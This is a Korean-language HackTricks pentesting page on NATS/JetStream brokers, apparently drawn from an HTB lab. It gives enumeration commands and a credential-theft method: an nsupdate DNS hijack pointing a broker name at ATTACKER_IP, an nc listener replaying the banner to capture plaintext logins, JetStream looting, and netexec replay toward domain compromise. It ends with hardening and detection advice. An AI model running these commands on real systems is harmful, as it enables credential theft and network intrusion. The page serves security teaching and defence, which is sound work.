4222 - Pentesting NATS / JetStream

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

기본 정보

NATS 는 간단한 텍스트 기반 프로토콜을 사용하는 고성능 메시지 버스입니다: 서버는 TCP 연결 직후 INFO { ... } JSON 배너를 전송하고, 클라이언트는 CONNECT {"user":"USERNAME","pass":"PASSWORD",...} 프레임으로 응답한 뒤 선택적으로 PING/PUB/SUB 명령을 보냅니다. JetStream은 동일한 TCP 포트(4222/tcp) 위에 persistence primitives (Streams & Consumers)를 추가합니다. TLS와 인증은 선택 사항이므로, 많은 내부 배포는 plaintext AUTH 로 운영됩니다.

  • 기본 포트: 4222/tcp (클러스터된 routes는 4223+)
  • 기본 배너 필드: "version", "auth_required", "jetstream", "max_payload", "tls_required"

Enumeration

nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open  nats  NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

INFO 프레임은 수동으로 가져올 수도 있습니다:

echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'

더 깊은 상호작용을 위해 공식 CLI (Go ≥1.21)를 설치하세요:

go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt

인증 실패 시 즉시 nats: Authorization Violation가 발생하므로, 의미 있는 RPC를 수행하려면 유효한 자격 증명이 필요합니다.

DNS/서비스 사칭을 통한 자격 증명 탈취

  • 브로커 호스트명(예: nats-svc.domain.local)에 대한 오래된 AD DNS 항목을 식별합니다. 해당 레코드가 NXDOMAIN을 반환하면 기본 dynamic-update ACLs 덕분에 권한이 낮은 도메인 사용자가 레코드를 재생성할 수 있습니다. 배경은 AD DNS Records abuse을 참조하십시오.
  • 공격자가 제어하는 IP로 호스트명을 등록합니다:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
  • 정식 배너를 한 번 미러한 다음, 연결되는 모든 클라이언트에 재생합니다. NATS는 처음 보는 INFO 라인을 신뢰하므로, 우리는 단지 그것을 listener를 통해 pipe하면 됩니다:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
  • 내부 클라이언트가 하이재킹된 이름을 해석하자마자, user / pass 쌍과 여러 텔레메트리(클라이언트 이름, Go 버전, 프로토콜 레벨)를 포함한 평문 CONNECT 프레임을 전송합니다. INFO 배너 이후의 어떤 것도 필요하지 않기 때문에, 심지어 nc만으로도 비밀을 수집할 수 있습니다.
  • 더 긴 작업에서는 공식 서버를 로컬에서 실행하세요 (git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). TRACE 로깅은 이미 사용자명을 표시합니다; redaction helper를 제거하거나 Wireshark로 트래픽을 스니핑하면 전체 비밀번호가 드러납니다.

JetStream looting & password hunting

일단 자격 증명(예: Dev_Account_A)을 획득하면, CLI 컨텍스트로 저장해 재입력하지 않도록 하세요:

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

JetStream 발견은 일반적으로 다음 패턴을 따릅니다:

nats account info --context mirage      # quotas, stream count, expiration
nats stream list --context mirage       # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage

Streaming teams는 자주 logs.auth와 같은 subjects에 인증 이벤트를 기록합니다. 개발자가 raw JSON을 JetStream stream에 저장하면, payloads에 plaintext AD usernames and passwords가 포함될 수 있습니다:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

Retained secrets can then be replayed against Kerberos-only services using netexec smb DC01 -u USER -p PASS -k, enabling full domain compromise.

하드닝 & 탐지

  • Enforce TLS (tls, tls_required, or mTLS via nkey/creds). 암호화가 없으면 INFO/CONNECT leaks credentials to anyone on-path.
  • Pinpoint who can update DNS – 서비스 레코드를 전담 계정에 위임하고 Event IDs 257/252를 감사하여 중요 호스트명을 보호하세요. scavenging alerts와 결합해 누락된 broker names가 조용히 re-claimed되지 않도록 하세요.
  • Disable credential logging. subjects에 게시하기 전에 secrets를 scrub하고, JetStream retention/age 제한을 설정하며 deny_delete=false는 신뢰된 운영자에게만 적용하세요.
  • Monitor for banner anomalies – 반복되는 짧은 연결, 인증 타임아웃, 또는 승인된 템플릿과 일치하지 않는 INFO 배너는 spoofed servers를 시사합니다.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기